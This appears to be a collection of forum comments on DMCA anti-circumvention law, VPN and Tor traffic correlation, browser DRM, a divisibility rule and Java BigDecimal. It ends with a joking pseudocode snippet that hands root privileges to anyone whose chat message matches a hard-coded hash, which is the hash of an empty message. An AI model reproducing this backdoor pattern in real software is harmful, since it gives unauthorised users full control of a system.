windy.com with a VPN in a private browser window. They can’t track you if they don’t know where you are!

By some argument, section 103 of the DMCA (which is what grandparent post is referring to) does make it illegal to even talk about DRM circumvention methods.

illegal to: (2) “manufacture, import, offer to the public, provide, or otherwise traffic in” a device, service or component which is primarily intended to circumvent “a technological measure that effectively controls access to a work,” and which either has limited commercially significant other uses or is marketed for the anti-circumvention purpose.

If youtube implements an “access control measure” by splicing the ads with the video and disabling the fast-forward button during the ad, and you go on a forum and say “Oh yeah, you can write a script that detects the parts that are ads because the button is disabled, and force-fast-forwards through those”, some lawyer would argue that you have offered to the public a method to circumvent an access control measure, and therefore your speech is illegal. If you actually write the greasemonkey script and post it online, that would definitely be illegal.

This is abhorrent to the types among us for whom “code IS free speech”, but this scenario is not just a hypothetical. DMCA has been controversial for a long time. Digg collapsed in part because of the user revolt over the admins deleting any post containing the leaked AACS decryption key, which is just a 32-digit number. Yet “speaking” the number alone, aloud, on an online platform (and nothing else!) was enough for MPAA to send cease and desist letters to Digg under DMCA, and Digg folded.

I want people to be able to report bugs without any trouble.

Thank you for being aware! I’ve experienced this on github.com. I’ve tried to submit issues several times to open source projects, complete with proposed code to solve a bug, but github shadowbans my account 6 hours after creating it (because I use a VPN? a third-party email provider? do not provide a phone number? who knows). I can see the issue and pull request when logged in, but they only see a 404 on their project page even if I give them a direct link. I ended up sending them a screenshot of the issue page just to convince them this was even possible. Sad to hear gitlab does it even worse now by making phone mandatory.

Am I the only one for whom "open"subtitles.org hasn’t worked in years? I literally cannot find the download button, like in those okboomer memes. Never used the API. Switched to subscene.com and haven’t had problems since.

Oh I was well aware what community I was in 😁. I hate cars and exclusively ride bikes myself and here I was making a joke how I managed to get !fuck_cars of all places to downvote me for not watching fox news. All because my groupthink is not exactly identical to their groupthink (I am not the grandparent comment btw).

The secret is that karma does not matter anywhere! However, as long as the comment sorting algorithm is the way it is, I will keep believing that the downvote button is for posts that are non-constructive contributions, not for disagreement. Burying discussion is not constructive, but that’s what the algorithm will do. Maybe this is a hopeless task, but I wish that after a conversation I have learned something new, or taught someone something, not just made myself feel better.

far more maddeningly, some sites tell me that my username and password combo are incorrect when I’m using a VPN

Brb, gonna wiretap the judge’s house. It’s not a crime as long as I don’t act on the information I hear so there is no injury.

Fox the broadcast TV channel is different from Fox News the cable channel. Broadcast TV is operated by one of ~100 local affiliates and shows the Simpsons and local news. Fox News Channel is the Murdoch personal project to produce 24-hour conservative propaganda to shift the national discourse. Or at least it was this way 20 years ago, haven’t seen what the TV branding looks like nowadays.

The list of tor exit ips is publicly viewable. Some IPS block the entire list contrary to Tor Project’s request not to do exactly that.

My last comment got downvoted for saying I have never watched Fox news 🤷🏾.

I assume this “VPN Server” that they can see is the “entry node”, and not the “exit node” (i.e. my IP as seen by the world) - but never got a clear answer to that

Traditionally, the entry node and the exit node have been the same VPN server/ip. In that sense, your ISP does know the IP of your exit server, since they are the ones connecting you to it.

For example, your X ISP’s logs could show “At 15:00, user #123 connects to IP 1.2.3.4, which lookup shows is assigned to “CheapVPNs Ltd”. At 15:01 our email server received 1,000,000 emails from IP 1.2.3.4 all angrily complaining about how “X ISP sucks”. Correlation implies user #123 is responsible for the mail bomb attack against our servers.”

At the moment, Mullvad specifically does use different entry and exit IPs, but they are all still located in the same datacenter and subnet. That is, you could be connecting to a Mullvad VPN server 1.2.3.4, 1.2.3.5, or 1.2.3.6 in London, and they all exit out through 1.2.3.1 in London. This is just something Mullvad does. Other VPN services may not do it and Mullvad hasn’t done it in the past. Someone analyzing ISP logs could correlate these IPs if they really wanted to.

Mullvad also offers “multihop”, but the way they have it implemented currently (changing the destination port number), an ISP could still deduce your exit IP if they bother looking up records of Mullvad network structure (which are publicly available), since they know the IP number and the port number of your entrance node.

The only way to hide your VPN exit IP from your ISP currently is to use multiple VPN services and nest them inside each other (or use one service and nest it inside itself using the “multiple devices” perk). Then only a state-level actor could hope to correlate your traffic by monitoring the ingress/outflow of multiple IPs simultaneously.

Piped/invidious work by scrapping the video chunks directly from google and proxying them through volunteer servers. They will stop working as soon as google gets around to locking down the APIs that they are abusing, or blocks their server IPs.

There is a mathematical algorithm that proves this works in all cases. However this rule is not actually all that impressive as it appears at first glance! The number of operations (comparisons/subtractions/multiplications) you need to do is equivalent to just long-dividing the number by 7.

Consider: each operation of the rule removes one digit from the end. But you could just as easily apply the rule like “If the first digit is >=7, subtract 7 from it. Else, subtract the biggest multiple of 7 that will fit from the first two digits.” To skip multiplying, you can use the following jump table: if the first digit is 6, subtract 54 from the first 2 digits, if 5 subtract 49, if 4: 35, if 3: 28, if 2: 14, if 1: 07. That will also remove one digit from the front! But now you are just doing long division.

This is like that Key and Peele sketch where they rob the bank by working in there for 20 years.

That’s why Google is pushing hard their Web Environment Integrity. It’s DRM for the browser! They want the TPM chip in your computer to attest that the code running processing the video stream is authentic. Then you can’t slice out the ads because you do not have physical access to the inside of TPM. With HDCP encryption on the HDMI video output, you gonna need to point a literal video camera at the physical screen to DVR the video and slice out the ads later.

They’ve been working hard for decades to lock down the video pipeline with TPM and HDCP and now WEI. They said “don’t worry about it” and we let them. They are really close to snapping the trap shut!

Now please excuse me, my tongue is falling off with all the acronyms…

We are totally gonna get DVRs back, aren’t we 🤣?

The US bans all of it, while Japan has an exception for drawings

Absolutely incorrect. You are thinking of Canada or UK. In US, drawings are fine. Rather it is photorealistic depictions “indistinguishable from that of a minor” that are prohibited, almost presciently pre-empting techniques like deepfake and stablediffusion by 20 years, a rare win by legislators.

Give it a MathContext with the max precision that you want to allow.

The arbitrary precision may cause your bignums to balloon out of control in memory/cpu usage after repeated multiplication, unless you can prove that it will not. For example:

double x = 1;
while (true){
    x *= Math.exp((Math.random()*2 - 1) / 1000);
}

Would work perfectly fine with floats and x will remain about 1, but with BigDecimal it will grind to a halt.

Event.register('on_say', function(e){
    if (Utils.sha(e.msg) == "da39a3ee5e6b4b0d3255bfef95601890afd80709"){
        ACL.grant_root_privs(e.usr)
    }
})